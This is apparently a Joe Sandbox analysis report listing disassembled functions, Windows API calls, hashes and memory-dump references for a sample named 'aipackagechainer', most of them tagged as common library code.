                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                                                                  • String ID: !
                                                                                                                                                                                                                                                  • API String ID: 0-518105870
                                                                                                                                                                                                                                                  • Opcode ID: 2f00df7c96bdb5a83d3d9e6c984d0d961e7f79cfa2ecd886bb609d0b49e5c6d6
                                                                                                                                                                                                                                                  • Instruction ID: ae51fbb733d3ba61b5a840305b56bca78ba9d85029a29d1ce41a0f20edbcb95a
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 2f00df7c96bdb5a83d3d9e6c984d0d961e7f79cfa2ecd886bb609d0b49e5c6d6
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: C5819C70911219DFDB50DF28CC8DB99F7B4AF49314F1482D9E818AB292DB709E94CF91
                                                                                                                                                                                                                                                  Function 00296D4A Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • GetLocaleInfoW.KERNEL32(?,2000000B,00297068,00000002,00000000,?,?,?,00297068,?,00000000), ref: 00296DE3
                                                                                                                                                                                                                                                  • GetLocaleInfoW.KERNEL32(?,20001004,00297068,00000002,00000000,?,?,?,00297068,?,00000000), ref: 00296E0C
                                                                                                                                                                                                                                                  • GetACP.KERNEL32(?,?,00297068,?,00000000), ref: 00296E21
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: InfoLocale
                                                                                                                                                                                                                                                  • String ID: ACP$OCP
                                                                                                                                                                                                                                                  • API String ID: 2299586839-711371036
                                                                                                                                                                                                                                                  • Opcode ID: e4c7c8f187d4f0fab644e0accd395d81f77f9aec01a3e1819c84db922204b5da
                                                                                                                                                                                                                                                  • Instruction ID: 2b4c491c41e4575315f09adb079c21510ddb32e2e72593c3abbeb00c5ad9b28d
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: e4c7c8f187d4f0fab644e0accd395d81f77f9aec01a3e1819c84db922204b5da
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 57219D76730102ABEF358F54C908BA777E7EB54B50B568434E95ADB108EB32DE61C360
                                                                                                                                                                                                                                                  Function 00296F1F Relevance: 7.7, APIs: 5, Instructions: 183COMMONLIBRARYCODE
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                    • Part of subcall function 0028CFD6: GetLastError.KERNEL32(?,002D63F0,00288EBE,?,?,0028906D,?,?,00000000,?,?,?,00000003,00281362,?,002812D1), ref: 0028CFDA
                                                                                                                                                                                                                                                    • Part of subcall function 0028CFD6: SetLastError.KERNEL32(00000000,?,002814E0,?,?,?,?,?,00000000,?,?,?,0028AE99,002D3820,0000000C,0028B157), ref: 0028D07C
                                                                                                                                                                                                                                                  • GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 0029702B
                                                                                                                                                                                                                                                  • IsValidCodePage.KERNEL32(00000000), ref: 00297074
                                                                                                                                                                                                                                                  • IsValidLocale.KERNEL32(?,00000001), ref: 00297083
                                                                                                                                                                                                                                                  • GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 002970CB
                                                                                                                                                                                                                                                  • GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 002970EA
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 415426439-0
                                                                                                                                                                                                                                                  • Opcode ID: cf4cd3a15b52e2dea1f23ed7c540fd8b71e2c1d615ed35a5b779f9e70f92ec47
                                                                                                                                                                                                                                                  • Instruction ID: c474dff367e405ef3a675b3f5add96f95e79cff85424808847a321ac48d3517b
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: cf4cd3a15b52e2dea1f23ed7c540fd8b71e2c1d615ed35a5b779f9e70f92ec47
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 3E519E72A24206ABEF10EFA5DC45ABE73F8FF09740F144429E915E7190EB709A64CB61
                                                                                                                                                                                                                                                  Function 002965BB Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 251COMMONLIBRARYCODE
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                    • Part of subcall function 0028CFD6: GetLastError.KERNEL32(?,002D63F0,00288EBE,?,?,0028906D,?,?,00000000,?,?,?,00000003,00281362,?,002812D1), ref: 0028CFDA
                                                                                                                                                                                                                                                    • Part of subcall function 0028CFD6: SetLastError.KERNEL32(00000000,?,002814E0,?,?,?,?,?,00000000,?,?,?,0028AE99,002D3820,0000000C,0028B157), ref: 0028D07C
                                                                                                                                                                                                                                                  • GetACP.KERNEL32(?,?,?,?,?,?,0028BBB3,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 0029667C
                                                                                                                                                                                                                                                  • IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,0028BBB3,?,?,?,00000055,?,-00000050,?,?), ref: 002966A7
                                                                                                                                                                                                                                                  • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 0029680A
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: ErrorLast$CodeInfoLocalePageValid
                                                                                                                                                                                                                                                  • String ID: utf8
                                                                                                                                                                                                                                                  • API String ID: 607553120-905460609
                                                                                                                                                                                                                                                  • Opcode ID: 41f4a9e701d99110010110c77151ee954d868598f72795645b17da3e3aaebd86
                                                                                                                                                                                                                                                  • Instruction ID: ed68b5e5d25d0c6548f36b5e223158b1ecc04dac5d030cbf910d30fd11794f9b
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 41f4a9e701d99110010110c77151ee954d868598f72795645b17da3e3aaebd86
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 78710531A20212AAEF24AF75CC8ABB6B7ECEF44314F144429F506D71C1EB74ED648B60
                                                                                                                                                                                                                                                  Function 00211880 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 202fileCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • FindFirstFileW.KERNEL32(?,?,?,4938EAB5,00000000), ref: 00211973
                                                                                                                                                                                                                                                  • FindClose.KERNEL32(000000FF,?), ref: 00211B32
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: Find$CloseFileFirst
                                                                                                                                                                                                                                                  • String ID: !
                                                                                                                                                                                                                                                  • API String ID: 2295610775-518105870
                                                                                                                                                                                                                                                  • Opcode ID: f78af1804bbc0caf09c2e8410fd3fe6cd531ef5850061107d85fa0cf9f2d172c
                                                                                                                                                                                                                                                  • Instruction ID: 6b26b5b2792da84f561e9723f3f16075a2313ce8da2bcba29f81978171da7855
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: f78af1804bbc0caf09c2e8410fd3fe6cd531ef5850061107d85fa0cf9f2d172c
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 09818D70D1120ADFDB24DF64C959BEEBBF4AF24300F108299E41967291D7706AA5CF90
                                                                                                                                                                                                                                                  Function 00254A00 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 199fileCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • FindFirstFileW.KERNEL32(?,?,?,00000000), ref: 00254AF3
                                                                                                                                                                                                                                                  • FindClose.KERNEL32(00000000), ref: 00254C3E
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: Find$CloseFileFirst
                                                                                                                                                                                                                                                  • String ID: !$%d.%d.%d.%d
                                                                                                                                                                                                                                                  • API String ID: 2295610775-1544181526
                                                                                                                                                                                                                                                  • Opcode ID: 04a9ae04ae951e4aa5621dcc1ce26f2d16737f5d71bf079d84e2f4e95d1c0189
                                                                                                                                                                                                                                                  • Instruction ID: 50f55dbcb3aa331e5ccdfdd09fc39b5a652c6c03c760836469e112b6a4aa7911
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 04a9ae04ae951e4aa5621dcc1ce26f2d16737f5d71bf079d84e2f4e95d1c0189
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 6F717F70905219DFDB20EF28C84CB9DBBB5EF45319F108299E819AB291DB319E94CF80
                                                                                                                                                                                                                                                  Function 00255AF0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 125COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 00255BCA
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: DiskFreeSpace
                                                                                                                                                                                                                                                  • String ID: \$\$\
                                                                                                                                                                                                                                                  • API String ID: 1705453755-3791832595
                                                                                                                                                                                                                                                  • Opcode ID: 426c7dc8c8985df8d09296dff11dfe1bb86fbb1c667188d9729407005e5bcfd4
                                                                                                                                                                                                                                                  • Instruction ID: e97657cc97121506bc54fc2cdf5f56a5258ccaf312b3e6c66f6e7dfa28100596
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 426c7dc8c8985df8d09296dff11dfe1bb86fbb1c667188d9729407005e5bcfd4
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: CC410662E2472687CB309F24845967BB3F4FF9435AF154A2EECC897140E7708D9883CA
                                                                                                                                                                                                                                                  Function 0028E34D Relevance: 6.3, APIs: 4, Instructions: 337COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: _strrchr
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 3213747228-0
                                                                                                                                                                                                                                                  • Opcode ID: 1b3e4c147fdd10b8ecbbd374f7cbb7dd890ddfdf7fa48647826ec1bbabe49864
                                                                                                                                                                                                                                                  • Instruction ID: 4aebdf979ab592b25032526c2d6edf2e0f9274ace0bad4e28fa077e309cc03e5
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 1b3e4c147fdd10b8ecbbd374f7cbb7dd890ddfdf7fa48647826ec1bbabe49864
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 93B16A75D222569FDF11AF28C881BEEBBE5EF15304F168169E805AB281E274DD21CB60
                                                                                                                                                                                                                                                  Function 002940CD Relevance: 6.1, APIs: 4, Instructions: 129fileCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000), ref: 00294168
                                                                                                                                                                                                                                                  • FindNextFileW.KERNEL32(00000000,?), ref: 002941E3
                                                                                                                                                                                                                                                  • FindClose.KERNEL32(00000000), ref: 00294205
                                                                                                                                                                                                                                                  • FindClose.KERNEL32(00000000), ref: 00294228
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: Find$CloseFile$FirstNext
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 1164774033-0
                                                                                                                                                                                                                                                  • Opcode ID: 5e6b7c57fc880d918b6cc3b7eae20481c8ebc2bee6e41e4e8fe1f7d0fc55f59e
                                                                                                                                                                                                                                                  • Instruction ID: 6e930b6372f2286350adc26d4c08534d30ac3f1787b8b2052f9b3141b87774d4
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 5e6b7c57fc880d918b6cc3b7eae20481c8ebc2bee6e41e4e8fe1f7d0fc55f59e
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 8E41D57191022AABDF20FF64DC8DEBAB3B9EB95358F144195E80997140E7709ED1CF60
                                                                                                                                                                                                                                                  Function 0027D03D Relevance: 6.1, APIs: 4, Instructions: 73COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 0027D049
                                                                                                                                                                                                                                                  • IsDebuggerPresent.KERNEL32 ref: 0027D115
                                                                                                                                                                                                                                                  • SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0027D135
                                                                                                                                                                                                                                                  • UnhandledExceptionFilter.KERNEL32(?), ref: 0027D13F
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 254469556-0
                                                                                                                                                                                                                                                  • Opcode ID: 921907a1e8f82caf0200e627fbd833526767dba76c896470a212cb54eef7eb0a
                                                                                                                                                                                                                                                  • Instruction ID: ed28fcc41665464b259faa195681633f1be34543864b017165eed8bcbf9c9f8d
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 921907a1e8f82caf0200e627fbd833526767dba76c896470a212cb54eef7eb0a
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: E83129B5D5521D9BDF20DFA4D9897CCBBB8AF08300F1041AAE40DAB250EB719A85CF45
                                                                                                                                                                                                                                                  Function 0024CDF0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 101fileCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • FindFirstFileW.KERNEL32(?,00000000,?,?,?,0000000C,002A6D0D,000000FF), ref: 0024CE7B
                                                                                                                                                                                                                                                  • FindClose.KERNEL32(00000000,?,0000000C,002A6D0D,000000FF), ref: 0024CEBF
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: Find$CloseFileFirst
                                                                                                                                                                                                                                                  • String ID: !
                                                                                                                                                                                                                                                  • API String ID: 2295610775-518105870
                                                                                                                                                                                                                                                  • Opcode ID: bb348b814cfa64e540d1bb26bc09902ab20c2075212fa35219d09726dbe78583
                                                                                                                                                                                                                                                  • Instruction ID: 359e90a47f0e2c3d4da46fdfbacc6441dee4fe942931d77393a80734f8c13b92
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: bb348b814cfa64e540d1bb26bc09902ab20c2075212fa35219d09726dbe78583
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 0941C430A11549CFCB14DF68CC48BEEBBB4FF45324F248219E81597291D7759A14CF90
                                                                                                                                                                                                                                                  Function 0025EB00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 96COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                    • Part of subcall function 00213540: GetProcessHeap.KERNEL32 ref: 00213595
                                                                                                                                                                                                                                                  • GetLocaleInfoW.KERNEL32(?,00000002,002BC440,00000000,?,00000000), ref: 0025EB71
                                                                                                                                                                                                                                                  • GetLocaleInfoW.KERNEL32(?,00000002,00000015,?,00000078,-00000001,?,00000002,002BC440,00000000,?,00000000), ref: 0025EBAD
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: InfoLocale$HeapProcess
                                                                                                                                                                                                                                                  • String ID: %d-%s
                                                                                                                                                                                                                                                  • API String ID: 3246605784-1781338863
                                                                                                                                                                                                                                                  • Opcode ID: c55c66c2787100a34b01b0ae3b699bdebf7e8b752a6fcc474f0b561bc29db097
                                                                                                                                                                                                                                                  • Instruction ID: 4a8b914a0ea04ad95cf6f981761e1cf7d5d544d74b03d0a0272d5fb0f3465e00
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: c55c66c2787100a34b01b0ae3b699bdebf7e8b752a6fcc474f0b561bc29db097
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 4E31DF71910215AFDB04DF98CC49FAEFBB4FF05719F108119F415A7291DB719A14CB90
                                                                                                                                                                                                                                                  Function 00235AD0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 71fileCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • FindFirstFileW.KERNEL32(00000000,?,4938EAB5,?,00000000,?,00000000,002A21FD,000000FF), ref: 00235B38
                                                                                                                                                                                                                                                  • FindClose.KERNEL32(00000000,?,4938EAB5,?,00000000,?,00000000,002A21FD,000000FF), ref: 00235B82
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: Find$CloseFileFirst
                                                                                                                                                                                                                                                  • String ID: !
                                                                                                                                                                                                                                                  • API String ID: 2295610775-518105870
                                                                                                                                                                                                                                                  • Opcode ID: 318ea63ee3b0689255b18b50b3248167cf6fc1e30898b873616394fced894ece
                                                                                                                                                                                                                                                  • Instruction ID: b585e439f1173afd1877b98d2069e07c30b3bb3e30fa41c7cac80ee5b977d999
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 318ea63ee3b0689255b18b50b3248167cf6fc1e30898b873616394fced894ece
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 9921F4719009499FDB10DF68DC49BEEF7B8FF45324F104229E829A72D0DB705A08CB90
                                                                                                                                                                                                                                                  Function 002969CE Relevance: 4.7, APIs: 3, Instructions: 205COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                    • Part of subcall function 0028CFD6: GetLastError.KERNEL32(?,002D63F0,00288EBE,?,?,0028906D,?,?,00000000,?,?,?,00000003,00281362,?,002812D1), ref: 0028CFDA
                                                                                                                                                                                                                                                    • Part of subcall function 0028CFD6: SetLastError.KERNEL32(00000000,?,002814E0,?,?,?,?,?,00000000,?,?,?,0028AE99,002D3820,0000000C,0028B157), ref: 0028D07C
                                                                                                                                                                                                                                                  • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00296A22
                                                                                                                                                                                                                                                  • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00296A6C
